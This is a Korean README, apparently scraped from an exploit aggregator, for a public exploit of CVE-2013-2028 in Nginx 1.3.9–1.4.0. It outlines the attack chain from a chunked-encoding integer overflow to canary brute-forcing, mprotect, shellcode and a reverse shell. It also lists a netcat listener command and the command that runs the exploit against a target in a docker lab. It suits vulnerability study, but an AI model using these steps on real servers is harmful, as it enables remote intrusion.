CVE-2013-2028-Exploit

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-M4DRAT-CVE-2013-2028-EXPLOIT
# CVE-2013-2028 익스플로잇

## 취약점 세부 사항

취약한 소프트웨어: Nginx 1.3.9 < 1.4.0  
수정 커밋: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

취약점은 ngx_http_parse_chunked 함수에 존재합니다. 이 익스플로잇은 ngx_http_parse_chunked에서 정수 오버플로우를 발생시키고, 이후 이를 사용하여 스택을 오버플로우시켜 제어 흐름을 탈취합니다.

## 익스플로잇 상세

실제 익스플로잇은 4단계로 구성됩니다:

  1. 바이트 단위 무차별 대입을 통해 스택 카나리 값 찾기
  2. rcx 값(lpthread 내 어딘가를 가리킴)을 사용하여 mprotect 주소 계산. 적절한 인수로 mprotect 호출.
  3. 셸코드를 RWX 메모리 위치에 복사.
  4. 셸코드로 점프하여 리버스 셸 시작.



## 재현 방법

  1. 호스트 시스템에서 리스너 시작, 예: netcat 사용: `nc -lvp 4345`
  2. 가상 머신에서 도커 시작: `sudo docker-compose up --build`
  3. 익스플로잇 실행: `python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <리스너 머신 주소> -lp <리스너 머신 포트>`
  4. 익스플로잇이 실제 카나리 값을 찾고 리버스 셸을 시작하도록 합니다.



![Demo](https://assets.kitploit.com/production/public/readmes/28793/560585887fc0b9611bdf42666782ec9e86e38306424e3cd23e595be93e425099.png)